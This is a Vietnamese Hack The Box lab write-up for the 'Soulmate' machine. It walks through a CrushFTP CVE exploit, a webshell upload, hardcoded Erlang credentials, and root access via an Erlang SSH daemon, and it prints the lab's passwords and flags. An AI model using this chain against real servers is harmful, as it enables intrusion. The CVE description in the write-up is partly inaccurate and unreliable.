# HTB-Soulmate ![image](https://hackmd.io/_uploads/B1i5BnlEbe.png) Vì cũng là cuối năm rồi nên tranh thủ viết, tao sẽ bỏ qua phần `Nmap` mà đi luôn vào khai thác. Tìm kiếm các subdomain thì thấy một subdomain là `ftp` ![Pasted image 20251209090450](https://hackmd.io/_uploads/SySNL2e4Ze.png) Tìm kiếm CVE exploit liên quan đến CrushFTP ![Pasted image 20251209090535](https://hackmd.io/_uploads/SkBr83xE-l.png) Tìm code và chạy thôi, code cũng dễ hiểu nên chịu khó đọc tí chứ không phải cứ thế cầm về chạy. ![Pasted image 20251209090613](https://hackmd.io/_uploads/SJHIL3gEbe.png) Thành công login được với tài khoản vừa tạo. ![Pasted image 20251209090645](https://hackmd.io/_uploads/ry0DLnxNZg.png) Tìm chức năng `User Manager` và ta thấy có các tài khoản, ví dụ như `"ben"` ![Pasted image 20251209090751](https://hackmd.io/_uploads/S1RKU3xN-l.png) Thực hiện đổi mật khẩu để dễ truy cập, sau đó đăng nhập lại với tư cách `"ben"` ![Pasted image 20251209091006](https://hackmd.io/_uploads/By1o82eEWx.png) Đăng nhập thành công với tư cách `"ben"`. Tiếp tục ta thực hiện truy cập `webProd` ![Pasted image 20251209091105](https://hackmd.io/_uploads/rk82I3e4Wl.png) Up `webshell` lên thôi ![Pasted image 20251209093808](https://hackmd.io/_uploads/rywpLne4-e.png) ![Pasted image 20251209093836](https://hackmd.io/_uploads/B11A8nx4Wl.png) Kiểm tra và thấy mật khẩu của `"ben"` ![Pasted image 20251209093957](https://hackmd.io/_uploads/S1tkv2lEbl.png) ![Pasted image 20251209102519](https://hackmd.io/_uploads/rJSev3xEbe.png) ![Pasted image 20251209102912](https://hackmd.io/_uploads/SJ8ZPngEZx.png) ![Pasted image 20251209103036](https://hackmd.io/_uploads/S1abvnxEZe.png) ![Pasted image 20251209103923](https://hackmd.io/_uploads/rk-7P2lEWl.png) ![Pasted image 20251209104103](https://hackmd.io/_uploads/HkC7wnxVZl.png) Sau một hồi vcl thì tao đã vào được shell cuối cùng ![Pasted image 20251209104141](https://hackmd.io/_uploads/r1ErP3lV-x.png) Cuối cùng đã tìm thấy flag # Tóm lại là như sau: ### HTB Soulmate – Full Chain Writeup (Initial → Root) **1. Initial Foothold – CrushFTP RCE (CVE-2025-31161)** - CrushFTP < 10.7.3 bị blind SSRF + arbitrary file read qua template velocity - Dùng PoC hoặc Burp Collaborator confirm → đọc được file hệ thống - Upload reverse shell PHP qua CrushFTP admin interface (port 8080 hoặc 9090) → Shell www-data (webshell rất lag) **2. www-data → user ben** - Enum thấy file: /usr/local/lib/erlang_login/start.escript Bash ``` cat /usr/local/lib/erlang_login/start.escript ``` → Phát hiện hardcoded credentials được hard-code: erlang ``` {user_passwords, [{"ben", "HouseH0ldings998"}]}, ``` - Từ shell www-data, SSH local vào user ben: Bash ``` ssh ben@127.0.0.1 # password: HouseH0ldings998 # (hoặc ssh -o StrictHostKeyChecking=no ben@127.0.0.1 HouseH0ldings998) ``` → Được shell ben@soulmate:~$ → Đọc user.txt: 67f72164299dc1a983d10d213613abd5 **3. ben → root (Erlang SSH Daemon RCE)** - Enum port local: Bash ``` ss -tuln | grep 2222 # → 127.0.0.1:2222 đang listen ``` - Phát hiện Erlang SSH daemon được start bởi script trên (vẫn dùng cùng password ben:HouseH0ldings998) - Từ shell ben, SSH vào chính daemon này: Bash ``` ssh ben@127.0.0.1 -p 2222 # password: HouseH0ldings998 ``` → Vào thẳng Erlang shell với quyền **root** (vì daemon chạy dưới root) - Thực thi lệnh hệ thống qua module os đã được load sẵn: erlang ``` os:cmd("whoami"). % → "root\n" os:cmd("cat /root/root.txt"). % → "f90aefdd3ed874f874d30db3d4191578\n"